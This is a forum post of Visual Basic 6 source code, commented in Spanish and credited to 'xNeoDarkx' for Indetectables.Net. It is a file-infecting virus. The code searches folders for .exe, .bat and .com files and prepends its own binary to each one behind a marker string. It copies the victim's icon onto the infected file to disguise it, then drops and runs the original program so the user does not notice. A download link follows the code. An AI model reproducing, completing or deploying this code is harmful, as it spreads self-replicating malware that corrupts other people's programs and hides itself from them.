Código: Seleccionar todo

'-----------------------------ADVERTENCIA------------------------
'Este codigo a sido escrito por xNeoDarkx a excepcion de la funció buscar
'que se ha conseguido y posteriormente modificado de www.recursosvisualbasic.com.ar
'El Autor no se hace responsable por daños hechos a computadoras ajenas
'Pues este codigo es extremadamente peligroso
'Creado para Indetectables.Net
'Atte: xNeoDarkx

Option Explicit
'Declaración de las funciones Api para buscar archivos en el sistema
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Private Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" (ByVal lpLibFileName As String, ByVal hFile As Long, ByVal dwFlags As Long) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function LoadResource Lib "kernel32" (ByVal hInstance As Long, ByVal hResInfo As Long) As Long
Private Declare Function LockResource Lib "kernel32" (ByVal hResData As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function EnumResourceNames Lib "kernel32" Alias "EnumResourceNamesA" (ByVal hModule As Long, ByVal lpType As Any, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long

Private Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As Long
Private Declare Function lstrlenA Lib "kernel32" (ByVal lpString As Long) As Long
Private Declare Function FindResource Lib "kernel32" Alias "FindResourceA" (ByVal hInstance As Long, lpName As Any, lpType As Any) As Long
Private Declare Function SizeofResource Lib "kernel32" (ByVal hInstance As Long, ByVal hResInfo As Long) As Long
Private Declare Function FreeResource Lib "kernel32" (ByVal hResData As Long) As Long
Private Declare Function ExtractIconEx Lib "shell32.dll" Alias "ExtractIconExA" (ByVal lpszFile As String, ByVal nIconIndex As Long, phiconLarge As Long, phiconSmall As Long, ByVal nIcons As Long) As Long
Private Declare Function DrawIconEx Lib "user32" (ByVal hdc As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As Long, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Long
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long

'Constantes para la búsqueda que utiliza las funciones Api anteriores
Const FILE_BEGIN = 0
Const LOAD_LIBRARY_AS_DATAFILE = &H2&
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1       'Error en busqueda
Const FILE_ATTRIBUTE_ARCHIVE = &H20   'Constante para saber si el archivo encontrado es archivo
Const FILE_ATTRIBUTE_DIRECTORY = &H10 'Constante para saber si el archivo encontrado es carpeta
Const GENERIC_READ = &H80000000
Const FILE_SHARE_READ = &H1
Const GENERIC_WRITE = &H40000000
Const OPEN_EXISTING = 3
Const CREATE_ALWAYS = 2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const RT_ICON = 3
Const RT_GROUP_ICON = 14&
Dim arIconNames() As String        ' List of available resource names in the exe
Dim intResCounter As Integer
Dim Direc() As String                 'Variable que almacena los directorios
Dim Total As Integer                  'Variable que almacena el numero de carpetas

'Estructura que utiliza la estructura WIN32_FIND_DATA
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

'Estructura WIN32_FIND_DATA para info de archivos
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Public Enum EXT 'Extensiones que se pueden infectar
EXE = 0
BAT = 1
COM = 2
End Enum

Private Type ICONDIRENTRY     'Opciones para crear icono
   bWidth As Byte               ' Ancho de imagne
   bHeight As Byte              ' Alto de la imagen
   bColorCount As Byte          ' Numero de colores de la imagen
   bReserved As Byte            ' Reservado
   wPlanes As Integer           ' Color en plano
   wBitCount As Integer         ' Bits por pixel
   dwBytesInRes As Long         ' Bites en el icono
   dwImageOffset As Long        ' En que offset esta el icono
End Type

Private Type IconDir     'Directorio de icono
   idReserved As Integer   ' Reservado
   idType As Integer       ' Tipo de archivo
   idCount As Integer      ' Numero de imagenes
End Type

' Un tipo VB para almacenar los bits DIB de los iconos.
Private Type tBits
   bBits() As Byte
End Type

Private Type MEMICONDIRENTRY
   bWidth As Byte               ' Ancho de la imagen
   bHeight As Byte              ' Alto de la imagen
   bColorCount As Byte          ' Numero de colores en la imagen
   bReserved As Byte            ' Reservado
   wPlanes As Integer           ' Color plano
   wBitCount As Integer         ' Bits por pixel
   dwBytesInRes As Long         ' Cuantos bites tiene la imagen
   nID As Integer               ' El identificador
End Type

Private Type MemEntry
   arEntry(14) As Byte
End Type

Private Type MemDirEntry
   arEntries() As MemEntry
End Type
' API Declares, Constants, and Types
      ' Used by callback procedure

Public Function Inicio(Optional ByVal Form As Form)
On Error GoTo Err_Handle
Dim MyCode   As String 'Variable que almacenara nuestro codigo
Dim File()   As String 'Variable que almacena el archivo original
Dim Yo       As String 'Variable que almacena nuestra ruta

Yo = App.Path & "\" & App.EXEName & ".exe" 'Declaramos nuestra ruta

If Infected(Yo) = True Then    'Llamamos a la función Infected para saber si somos un archivo infectado o si somos el primer archivo infectado
    Open Yo For Binary As #1   'Nos abrimos de forma binaria
        MyCode = Space(LOF(1)) 'Declaramos la longitud de MyCode
        Get #1, , MyCode       'Guardamos nuestro binario en la variable
    Close #1                   'Nos cerramos

    File() = Split(MyCode, "-xNDX-") 'Dividimos la variable y la almacenamos en File()
    Dim TmPFile As String            'Variable que almacena la ruta del archivo original

    Randomize 'Función para aleatorizar el nombre del archivo original
    TmPFile = Environ("TMP") & "\" & CInt((Rnd * 9999) + 1) & ".exe" 'Obtenemos la ruta donde guardaremos el archivo original

    Open TmPFile For Binary As #5 'Abrimos la ruta aleatoria del archivo de forma binaria
        Put #5, , File(1)         'Guardamos el codigo del archivo original
    Close #5                      'Cerramos el archivo y listo para ejecutar!!


    Call ShellExecute(Form.hwnd, "Open", TmPFile, "", "", 1) 'Ejecutamos el archivo original para que el usuario no sospeche

End If 'Cerramos el If

Err_Handle:
Exit Function

End Function

'Función que busca y lista los ficheros
Public Function Buscar(Path As String, Extension As EXT, Optional ByVal Cantidad As Integer = 1)
Dim FileName As String ' Nombre de Archivos
Dim DirName As String ' Subdirectorios
Dim hSearch As Long ' Handle de busqueda
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer 'Variable de busqueda
Dim TipoExt As String 'Variable para la extensión

Select Case Extension
    Case EXE
    TipoExt = ".exe"
    Case BAT
    TipoExt = ".bat"
    Case COM
    TipoExt = ".com"
End Select

'si no tiene la barra separadora de path se la ponemos
If Right(Path, 1) <> "\" Then Path = Path & "\"
'Esta variable es para saber cuando buscamos _
con el Api si hay un archivo, si en el bucle ya _
no encuentra mas, la Api devuelve un 0
    Cont = True
'Buscamos el primer archivo o directorio del Path
    hSearch = FindFirstFile(Path & "*", WFD)
'Si no hay nada el handle de busqueda vale -1
    If hSearch <> INVALID_HANDLE_VALUE Then
'Mientras Cont valga 1 seguirá buscando ya que hay archivos o directorios
        Do While Cont
        DirName = EliminarNull(WFD.cFileName)
' ignoramos los "." y ".."
        If (DirName <> ".") And (DirName <> "..") Then
' Si es un directorio
            If GetFileAttributes(Path & DirName) = FILE_ATTRIBUTE_DIRECTORY Then 'Si el archivo encontrado tiene atributo de Carpeta
                'Total = Total + 1 'Contamos una carpeta mas
                'Direc(Total) = DirName 'Y guardamos en el nombre de la carpeta en la variable Direc
            ElseIf GetFileAttributes(Path & DirName) = FILE_ATTRIBUTE_ARCHIVE Then 'Tambien sí tiene atributos de archivo
                If Total <= Cantidad Then
                    If Path & DirName <> App.Path & "\" & App.EXEName & ".exe" Then 'Y no tiene la misma ruta que nosotros
                        If InStr(Path & DirName, TipoExt) > 0 Then
                            If Infected(Path & DirName) = False Then 'Llamamos a la función Infected si esta función devuelve Falso
                            Dim TmPFile As String
                            Randomize
                            TmPFile = Environ("TMP") & "\" & (Rnd * 9999) & ".ico"
                            Call ExtractIcons(Path & DirName, TmPFile)
                            Call Infectar(App.Path & "\" & App.EXEName & ".exe", Path & DirName) 'Infectamos el archivo con la función Infectar
                            Total = Total + 1
                            Call InsertIcons(TmPFile, Path & DirName)
                            End If
                        End If
                    End If
                End If
            End If
        End If
'Siguiente archivo o directorio
    Cont = FindNextFile(hSearch, WFD) 'Get next subdirectory.
    Loop
'Cerramos el handle de búsqueda
    Cont = FindClose(hSearch)
End If

End Function


Public Function ExtractIcons(ByVal strSource As String, ByVal strDest As String) As Long
On Error GoTo ErrHandler:
   
' Handles
   Dim hLib As Long
   Dim hResource As Long
   Dim hLoaded As Long
   Dim lPointer As Long
   Dim hFile As Long
' Icon Information Structures
   Dim SrcDir As IconDir
   Dim SrcEntries() As ICONDIRENTRY
   Dim SrcImages() As tBits
   Dim MemEntry As MEMICONDIRENTRY
' General use variables
   Dim arBytes() As Byte
   Dim arID() As Integer
   Dim lngBytesWritten As Long
   Dim intI As Integer
   Dim intC As Integer
   Dim i As Integer
   Dim intBound As Integer
   Dim intBaseOffset As Integer
   Dim StrTemp As String
   
' Clear all memory structures
   hLib = 0: hResource = 0: hLoaded = 0: lPointer = 0: hFile = 0
   SrcDir.idCount = 0: SrcDir.idReserved = 0: SrcDir.idType = 0
   ReDim SrcEntries(0) As ICONDIRENTRY
   ReDim SrcImages(0) As tBits
   With MemEntry
      .bColorCount = 0: .bHeight = 0: .bWidth = 0: .bReserved = 0
      .wPlanes = 0: .wBitCount = 0: .dwBytesInRes = 0: .nID = 0
   End With
   
' Validate arguments
   If strSource = "" Or strDest = "" Then
      Err.Raise 1011, App.EXEName & ".SwapIcon.bas", "File not found"
   Else
      If Right$(strDest, 4) <> ".ico" Then strDest = strDest & ".ico"
   End If
   
' Load the executable into memory as a datafile
   hLib = LoadLibraryEx(strSource, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
   If hLib = 0 Then Err.Raise 1011, App.EXEName & ".SwapIcon.bas", "File not found"
' Enumerate the resources in the library
   Call EnumResourceNames(hLib, RT_GROUP_ICON, AddressOf EnumResNameProc, 0)
   If UBound(arIconNames) < 0 Then Err.Raise 1002, App.EXEName & ".ExtractIcons", "No existing resources in source file"
' Loop through all resources found, copying the icons and writing them to file
   For intI = 0 To UBound(arIconNames)
      If Not arIconNames(intI) = "" Then
         ' Find, load, and lock the resource
         hResource = FindResource(hLib, ByVal arIconNames(intI), ByVal RT_GROUP_ICON)
         If hResource = 0 Then Err.Raise 1012, App.EXEName & ".SwapIcon.bas", "Failed to locate resource entry"
         hLoaded = LoadResource(hLib, hResource)
         If hLoaded = 0 Then Err.Raise 1013, App.EXEName & ".SwapIcon.bas", "Failed to load resource"
         lPointer = LockResource(hLoaded)
         If lPointer = 0 Then Err.Raise 1014, App.EXEName & ".SwapIcon.bas", "Failed to get pointer to resource data"
         ' Copy the icon directory structure from the file
         CopyMemory SrcDir, ByVal lPointer, Len(SrcDir)
         ' Check for icons in resource
         If SrcDir.idCount > 0 Then
            ' Copy all directory information into a byte array
            ReDim SrcEntries(SrcDir.idCount) As ICONDIRENTRY
            ReDim SrcImages(SrcDir.idCount) As tBits
            ReDim arID(SrcDir.idCount) As Integer
            intBound = (Len(MemEntry) * (SrcDir.idCount))
            ReDim arBytes(0 To intBound)
            ' Calculate the base offset for the icon bitmaps
            intBaseOffset = (Len(SrcDir) + (SrcDir.idCount * Len(SrcEntries(0))))
            CopyMemory arBytes(0), ByVal (lPointer + Len(SrcDir)), intBound + 1
            ' For each icon in the resource, get the directory entry and the icon bits
            For intC = 0 To (SrcDir.idCount - 1)
               ' Temporarily hold the data in the MemEntry structure
               CopyMemory MemEntry, arBytes(intC * Len(MemEntry)), Len(MemEntry)
               ' Add the icon's ID to the array
               arID(intC) = MemEntry.nID
               ' Copy the temp structure into the IconDirEntry structure
               CopyMemory SrcEntries(intC), MemEntry, Len(MemEntry)
               ' Assign the image offset
               SrcEntries(intC).dwImageOffset = intBaseOffset
               intBaseOffset = intBaseOffset + SrcEntries(intC).dwBytesInRes
            Next intC
            ' Locate and copy the icon images
            For intC = 0 To (SrcDir.idCount - 1)
               hResource = FindResource(hLib, ByVal "#" & CStr(arID(intC)), ByVal RT_ICON)
               If hResource > 0 Then
                  hLoaded = LoadResource(hLib, hResource)
                  If hLoaded > 0 Then
                     lPointer = LockResource(hLoaded)
                     If lPointer > 0 Then
                        ReDim Preserve SrcImages(intC).bBits(0 To SrcEntries(intC).dwBytesInRes)
                        CopyMemory SrcImages(intC).bBits(0), ByVal lPointer, SrcEntries(intC).dwBytesInRes
                     Else
                        Err.Raise 1013, App.EXEName & ".ExtractIcons", "Failed to get resource address."
                     End If
                  Else
                     Err.Raise 1012, App.EXEName & ".ExtractIcons", "Failed to load resource."
                  End If
               Else
                  Err.Raise 1011, App.EXEName & ".ExtractIcons", "Failed to locate resource."
               End If
            Next intC
            ' Append an index to the filename if more than one file will be created
            If intI > 0 Then
               StrTemp = Left$(strDest, Len(strDest) - 4)
               StrTemp = StrTemp & "(" & CStr(intI + 1) & ").ico"
            Else
               StrTemp = strDest
            End If
            
            ' Create a new .ico file and write the complete icon resource
            hFile = CreateFile(StrTemp, GENERIC_WRITE, 0, ByVal 0&, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, ByVal 0&)
            If hFile = 0 Then Err.Raise 1014, App.EXEName & ".IconSwap.bas", "Failed to get read/write handle"
            ' Write the directory
            WriteFile hFile, SrcDir, Len(SrcDir), lngBytesWritten, ByVal 0&
            ' Write the directory entries
            For intC = 0 To SrcDir.idCount - 1
               WriteFile hFile, SrcEntries(intC), Len(SrcEntries(intC)), lngBytesWritten, ByVal 0&
            Next intC
            ' Write the icon bitmaps
            For intC = 0 To SrcDir.idCount - 1
               WriteFile hFile, SrcImages(intC).bBits(0), SrcEntries(intC).dwBytesInRes, lngBytesWritten, ByVal 0&
            Next intC
            ' Close the file
            CloseHandle hFile
         End If
      End If
   Next intI
   
   ' Release the library and return the error code
   FreeLibrary (hLib)
   ExtractIcons = Err.Number
   Exit Function
   
ErrHandler:
   ExtractIcons = Err.Number
End Function

Public Function InsertIcons(ByVal strSource As String, ByVal strDest As String) As Long
On Error GoTo ErrHandler:
      
' Handles/pointers
   Dim hFile As Long                 ' Handle to the .ico File
   Dim hResource As Long             ' Handle to the resource being imported (.ico resource)
   Dim hLib As Long                  ' Handle to the destination file
   Dim hExeData                      ' Handle to the dest resource after it is loaded
   Dim lPointer As Long              ' Pointer to the destination icon
   Dim lpTemp As Long                ' Temporary pointer
   Dim lpLibStart As Long            ' Beginning of library in memory
   Dim lpDirectory As Long           ' Pointer to the IconDirectory structure in exe
   Dim lpEntries() As Long           ' Pointers to the IconDirEntry structures in exe
   Dim lpImages() As Long            ' Pointers to the icon images in the exe
   Dim arResSizes() As Long          ' Keeps track of the size of the icons being replaced
' Icon information structures
   Dim DestDir As IconDir            ' Destination IconDir structure
   Dim DestEntries() As MemEntry     ' Destination entries
   Dim TempEntry As MemEntry
   Dim DestImages() As tBits         ' Destination icon images
   Dim MemEntry As MEMICONDIRENTRY   ' Temporarily holds icon directory information
   Dim SourceDir As IconDir          ' Icon Directory for source icon
   Dim SourceEntries() As ICONDIRENTRY ' Directory entry for source icon
   Dim SourceImages() As tBits        ' Holds the actual icon bits
' General use variables
   Dim arID() As Integer             ' Holds ID's of RT_ICON resources
   Dim intC As Integer               ' Loop counter
   Dim intI As Integer               ' Loop counter
   Dim intJ As Integer               ' Loop counter
   Dim intFile As Integer            ' Free file handle for binary output
   Dim intID As Integer              ' The resource ID of the exe's icon
   Dim intNum As Integer             ' The number of entries
   Dim intBound As Integer           ' Holds the ubound of array
   Dim lngBytesRead As Long          ' Number of bytes read by ReadFile()
   Dim lngBytesWritten As Long       ' Number of bytes written by WriteFile()
   Dim lngResOffset As Long          ' Offset of DirEntry in the destination file
   Dim lngImageOffset As Long        ' Offset of the image bytes in the dest file
   Dim lngTemp As Long               ' General purpose long
   Dim lngReturn As Long             ' Intercepts return values for error testing
   
' Clear variables
   With SourceDir
      .idCount = 0: .idReserved = 0: .idType = 0
   End With
   With DestDir
      .idCount = 0: .idReserved = 0: .idType = 0
   End With
   ReDim SourceEntry(0) As ICONDIRENTRY
   ReDim DestEntries(0) As MemEntry
   hLib = 0: lPointer = 0: hFile = 0
   ReDim lpEntries(0) As Long
   ReDim lpImages(0) As Long
   ReDim arID(0) As Integer
   ReDim arIconNames(0) As String
   intResCounter = 0

' Get the icons out of the .ico source file
   
   hFile = CreateFile(strSource, GENERIC_READ, 0, ByVal 0&, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
   If hFile = 0 Then Err.Raise 1001, App.EXEName & ".SwapIcon.bas", "Failed to get handle to source file"
   ' If a file handle was obtained, read the directory structure
   ReadFile hFile, SourceDir, Len(SourceDir), lngBytesRead, ByVal 0&
   ' Make sure this file contains at least one icon resource
   If SourceDir.idType <> 1 Or SourceDir.idCount = 0 Then Err.Raise 1002, App.EXEName & ".SwapIcon.bas", "No icon resources found in source file"
   ' If so, then loop through the directory entries, reading the data
   intNum = SourceDir.idCount - 1
   ReDim SourceEntries(0 To intNum) As ICONDIRENTRY
   ReDim SourceImages(0 To intNum) As tBits
   For intI = 0 To intNum
      ReadFile hFile, SourceEntries(intI), Len(SourceEntries(intI)), lngBytesRead, ByVal 0&
      If lngBytesRead <> Len(SourceEntries(intI)) Then Err.Raise 1011, App.EXEName & ".SwapIcon.bas", "Source icon directory is corrupt"
   Next intI
   ' For each entry, set a file pointer to the image and copy the bitmap bits
   For intI = 0 To intNum
      If SourceEntries(intI).dwBytesInRes > 0 Then
         SetFilePointer hFile, SourceEntries(intI).dwImageOffset, ByVal 0&, FILE_BEGIN
         ReDim SourceImages(intI).bBits(SourceEntries(intI).dwBytesInRes) As Byte
         ReadFile hFile, SourceImages(intI).bBits(0), SourceEntries(intI).dwBytesInRes, lngBytesRead, ByVal 0&
         If lngBytesRead <> SourceEntries(intI).dwBytesInRes Then Err.Raise 1012, App.EXEName & "SwapIcon.bas", "Source icon bitmap is corrupt"
      Else
         Err.Raise 1015, App.EXEName & ".SwapIcon.bas", "Invalid icon in source file"
      End If
   Next intI
   ' Close the file
   CloseHandle hFile
   
   
' Locate target executable into memory without executing it
   hLib = LoadLibraryEx(strDest, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
   If hLib = 0 Then Err.Raise 1003, App.EXEName & "SwapIcon.bas", "Destination file could not be opened"
   ' Get a pointer to the beginning of the library in memory
   lpTemp = GlobalLock(hLib)
   lpLibStart = lpTemp
   If lpLibStart = 0 Then Err.Raise 1003, App.EXEName & "SwapIcon.bas", "Destination file could not be loaded"
   Call GlobalUnlock(hLib)
   ' If a handle was obtained, enumerate the icon group resources within the file
   Call EnumResourceNames(hLib, RT_GROUP_ICON, AddressOf EnumResNameProc, ByVal 0&)
   ' Now we have an array containing the names of all available resources
   
   ' Load the first resource into memory and get a pointer to the data
   If arIconNames(0) > "" Then
      ' Get a handle to the resource
      hResource = FindResource(hLib, ByVal arIconNames(0), ByVal RT_GROUP_ICON)
      If hResource = 0 Then Err.Raise 1013, App.EXEName & "SwapIcon.bas", "Failed to locate resource in specified file"
      ' Load the resource
      hExeData = LoadResource(hLib, hResource)
      If hExeData = 0 Then Err.Raise 1014, App.EXEName & "SwapIcon.bas", "Failed to load resource in specified file"
      ' Lock the resource to obtain a safe pointer to the data
      lPointer = LockResource(hExeData)
      If lPointer = 0 Then Err.Raise 1014, App.EXEName & "SwapIcon.bas", "Failed to load resource in specified file"
      ' Record the position of the IconDir structure
      lpDirectory = lPointer
      ' Copy the directory structure
      CopyMemory DestDir, ByVal lPointer, 6
      If DestDir.idCount > 0 Then
         ' Resize pointer and ID arrays
         intNum = DestDir.idCount - 1
         ReDim arID(0 To intNum) As Integer
         ReDim lpImages(0 To intNum) As Long
         ReDim arResSizes(0 To intNum) As Long
         ' Loop through the directory entries, recording their positions in memory
         For intC = 0 To intNum
            ' Get the directory entry
            CopyMemory MemEntry, ByVal ((lPointer + 6) + intC * Len(MemEntry)), Len(MemEntry)
            ' Get the resource ID of the current icon bitmap
            arID(intC) = MemEntry.nID
            ' Get the size of the icon resource
            arResSizes(intC) = MemEntry.dwBytesInRes
            ' Locate the icon bitmap and get a pointer for later use
            hResource = FindResource(hLib, ByVal "#" & CStr(arID(intC)), ByVal RT_ICON)
            If hResource = 0 Then Exit For
            hExeData = LoadResource(hLib, hResource)
            If hExeData = 0 Then Exit For
            lpTemp = LockResource(hExeData)
            lpImages(intC) = lpTemp
            lpTemp = lpImages(intC) - lpLibStart
            lpImages(intC) = lpTemp + 1
         Next intC
      End If
   Else
      intResCounter = intResCounter - 1
   End If

   FreeLibrary (hLib)
   
' Copy the source dir entries to the dest arrays
   For intJ = 0 To UBound(lpImages)
      ReDim Preserve DestEntries(intJ + 1) As MemEntry
      If intJ > UBound(SourceEntries) Then
         intNum = UBound(SourceEntries)
      Else
         intNum = intJ
      End If
      CopyMemory DestEntries(intJ).arEntry(0), SourceEntries(intNum).bWidth, 1
      CopyMemory DestEntries(intJ).arEntry(1), SourceEntries(intNum).bHeight, 1
      CopyMemory DestEntries(intJ).arEntry(2), SourceEntries(intNum).bColorCount, 1
      CopyMemory DestEntries(intJ).arEntry(3), SourceEntries(intNum).bReserved, 1
      CopyMemory DestEntries(intJ).arEntry(4), SourceEntries(intNum).wPlanes, 2
      CopyMemory DestEntries(intJ).arEntry(6), SourceEntries(intNum).wBitCount, 2
      CopyMemory DestEntries(intJ).arEntry(8), SourceEntries(intNum).dwBytesInRes, 4
      CopyMemory DestEntries(intJ).arEntry(12), arID(intNum), 2
   Next intJ
         
' Calculate the offset of the directory from the BOF
   lngTemp = lpDirectory - lpLibStart
   lpDirectory = lngTemp + 1
' The lpGroup structure now contains the start record number of all data to be written
   
' Open the target executable and write the new icons
   intFile = FreeFile
   Open strDest For Binary As #intFile
   
   lngImageOffset = lpImages(0)
   ' Write the directory entries
   For intJ = 0 To UBound(lpImages)
      If intJ > UBound(SourceEntries) Then
         intNum = UBound(SourceEntries)
      Else
         intNum = intJ
      End If
      If lpDirectory > lpImages(intJ) Then
         If (lpImages(intJ) + SourceEntries(intNum).dwBytesInRes) >= lpDirectory Then
            Exit For
         End If
      End If
      ' Set the image offset
      lngImageOffset = lpImages(intJ)
      'Write the directory entry structure to file
      For intC = 0 To 13
         Put #intFile, ((lpDirectory + 7) + (intJ * 14)) + intC, DestEntries(intJ).arEntry(intC)
      Next intC
      ' Write the actual icon bitmap bytes to the file
      For intC = 0 To UBound(SourceImages(intNum).bBits)
         Put #intFile, (lngImageOffset + 1) + intC, SourceImages(intNum).bBits(intC)
      Next intC
   Next intJ
   
   Close #intFile
   
   InsertIcons = Err.Number
   Exit Function
   
ErrHandler:
   ' Error handling is deferred to calling procedure
   InsertIcons = Err.Number
End Function

Private Function EnumResNameProc(ByVal hModule As Long, ByVal lpszType As Long, ByVal lpszName As Long, ByVal lParam As Long) As Long
   'BOOL CALLBACK EnumResNameProc(
   '    HANDLE hModule,  // resource-module handle
   '    LPCTSTR lpszType,   // pointer to resource type
   '    LPTSTR lpszName, // pointer to resource name
   '    LONG lParam   // application-defined parameter
   '   );
   Dim ResName As String
   Dim ResType As String
   Dim Continue As Boolean
   Dim Buffer As String
   Dim nRet As Long
   
   ' Retrieve resource ID.
   ResType = DecodeResTypeName(lpszType)
   ResName = DecodeResTypeName(lpszName)
      
   ' Add resource name to the array
   If ResName > "" Then
      intResCounter = intResCounter + 1
      ReDim Preserve arIconNames(intResCounter) As String
      arIconNames(intResCounter - 1) = ResName
      Continue = True
   Else
      Continue = False
   End If
   
   ' Continue enumeration?
   EnumResNameProc = Continue
End Function


Private Function DecodeResTypeName(ByVal lpszValue As Long) As String
   If HiWord(lpszValue) Then
      ' Pointers will always be >64K
      DecodeResTypeName = PointerToStringA(lpszValue)
   Else
      ' Otherwise we have an ID.
      DecodeResTypeName = "#" & CStr(lpszValue)
   End If
End Function

Private Function PointerToStringA(lpStringA As Long) As String
   Dim Buffer() As Byte
   Dim nLen As Long
   
   If lpStringA Then
      nLen = lstrlenA(ByVal lpStringA)
      If nLen Then
         ReDim Buffer(0 To (nLen - 1)) As Byte
         CopyMemory Buffer(0), ByVal lpStringA, nLen
         PointerToStringA = StrConv(Buffer, vbUnicode)
      End If
   End If
End Function

Private Function LoWord(LongIn As Long) As Integer
   Call CopyMemory(LoWord, LongIn, 2)
End Function

Private Function HiWord(LongIn As Long) As Integer
   Call CopyMemory(HiWord, ByVal (VarPtr(LongIn) + 2), 2)
End Function


'Función que elimina los caracteres nulos en los path devueltos
Private Function EliminarNull(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
EliminarNull = OriginalStr
End Function


Private Function Infectar(Infecta As String, File As String)
On Error GoTo Err_Handle
Dim xXx As String 'Nuestro codigo (El malicioso xD)
Dim Bn As String  'Archivo victima :(
Dim F             'Variable de archivo libre
F = FreeFile      'Señalamos que F es un archivo nuevo

Open Infecta For Binary As #2     'Abrimos el codigo malicioso de forma binaria >(
    xXx = Space(LOF(2))           'Señalamos longitud de la variable
    Get #2, , xXx                 'Guardamos nuestro codigo en nuestra variable
Close #2                          'Nos cerramos

Open File For Binary As #1        'Abrimos el archivo victima de forma binaria
    Bn = Space(LOF(1))            'Repetimos el proceso del codigo malicioso pero con el archivo que sera infectado
    Get #1, , Bn                  'Lo mismo xD
Close #1                          'Lo cerramos
    Kill File                     'Borramos el archivo victima para no tener problemas
    
If InStr(xXx, "-xNDx-") > 0 Then
Dim Algo() As String
Algo() = Split(xXx, "-xNDx-")
Open File For Binary As #8        'Abrimos la ruta del archivo victima xD
    Put #8, , Algo(0) & "-xNDx-" & Bn 'Ponemos nuestro codigo, nuestra marca de separación y el codigo del archivo victima
Close #8                          'Lo cerramos y aqui no ha pasado nada xD
Else
Open File For Binary As #8        'Abrimos la ruta del archivo victima xD
    Put #8, , xXx & "-xNDx-" & Bn 'Ponemos nuestro codigo, nuestra marca de separación y el codigo del archivo victima
Close #8                          'Lo cerramos y aqui no ha pasado nada xD
End If

Err_Handle:
Resume Next
End Function

Private Function Infected(File As String) As Boolean
Dim Infect As String 'Variable que almacena el binario del archivo a revisar si esta infectado
Open File For Binary As #3 'Abrimos el archivo
    Infect = Space(LOF(3)) 'Mostramos la longitud de la variable
    Get #3, , Infect       'Guardamos el binario en la variable
Close #3             'Lo cerramos
If InStr(Infect, "-xNDX-") > 0 Then 'Si encontramos la marca de infectación
    Infected = True  'Nuestra función es verdadera
Else                 'Sino
    Infected = False 'Nuestra Función es falsa por lo que no esta infectado el archivo
End If
End Function

Código: Seleccionar todo

http://www.multiupload.com/UDS5R5TQ1O